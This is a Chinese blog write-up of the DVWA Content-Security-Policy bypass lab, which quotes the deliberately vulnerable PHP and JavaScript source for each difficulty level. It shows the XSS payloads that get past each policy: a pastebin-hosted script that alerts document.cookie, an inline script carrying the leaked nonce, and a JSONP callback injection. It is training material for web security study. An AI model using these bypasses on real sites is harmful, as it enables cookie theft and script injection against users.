RT,CSP策略的绕过。
之所以可以绕过,是因为策略的制定不够合理,从而让攻击者有了可乘之机。
怎么不够合理?怎么进行绕过?绕过之后呢?
知道CSP允许的脚本来源之后呢?哪里需要注意?哪里可以绕过?
low级别
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.
header($headerCSP);
# https://pastebin.com/raw/R570EE00
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
CSP策略:允许的脚本来源:self
,https://pastebin.com
,example.com
,code.jquery.com
,https://ssl.google-analytics.com
这几个源。
- 利用:
输入https://pastebin.com/raw/VqHmJKjr
,它的内容是alert(document.cookie);
也就是说,<script src="https://pastebin.com/raw/VqHmJKjr"></script>
,当src指向的内容为js代码时,就会直接执行这部分js代码。
关键在于,https://pastebin.com这个网站,允许编辑文本内容。
那么,如何进行这种攻击呢?用户又不会傻了吧唧的就输入这样的地址去攻击自己。
允许加载执行这个地址的脚本,这个地址的脚本不可靠。加载执行不可靠的脚本,诱使用户点击。
medium
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
这个CSP策略,只允许self
,unsafe-inline
的js脚本。
'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='
这个指的是,允许内联的脚本,并且必须带有nonce值。比如,<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert('hacked')</script>
oronclick
......
那么按照提示,我们就输入<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert('hacked')</script>
,就会弹出弹框。
关键是,这种如何进行攻击呢?还是构造恶意链接让用户点击吗?那也太明显了吧,谁会去点带<script>标签的连接啊。
high级别
high.php
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
';
允许self
的脚本执行,self
是指本页面加载的脚本。于是,不能搞外部的脚本,内联的脚本,只能想办法对本页面已加载的脚本做手脚。
high.js
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
大致意思:
-
clickButton()
:
点击按钮后,在页面上创建<script src="source/jsonp.php?callback=solveSum"></script>
。 -
solveSum(obj)
:
将answer写入页面。 - 获取按钮,点击触发
clickButton
事件,这个涉及到jsonp的callback参数。
看这段代码:
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
是将include的值写入页面,这个值是用户可控的。
再来看这句代码,
s.src = "source/jsonp.php?callback=solveSum";
调用了一段js代码,solveSum
函数。于是很容易想到,我调用自己定制的js代码。
禁止执行的是不符合策略的js脚本,而不是直接的js代码。这里是在可以执行的js代码处,换成了我们自己的js代码。
因此,<script src=source/jsonp.php?callback=alert(1)></script>
。成功注入JS代码!
impossible级别
impossible.js
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp_impossible.php";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
这个直接把执行的js代码写在了php文件里。
网友评论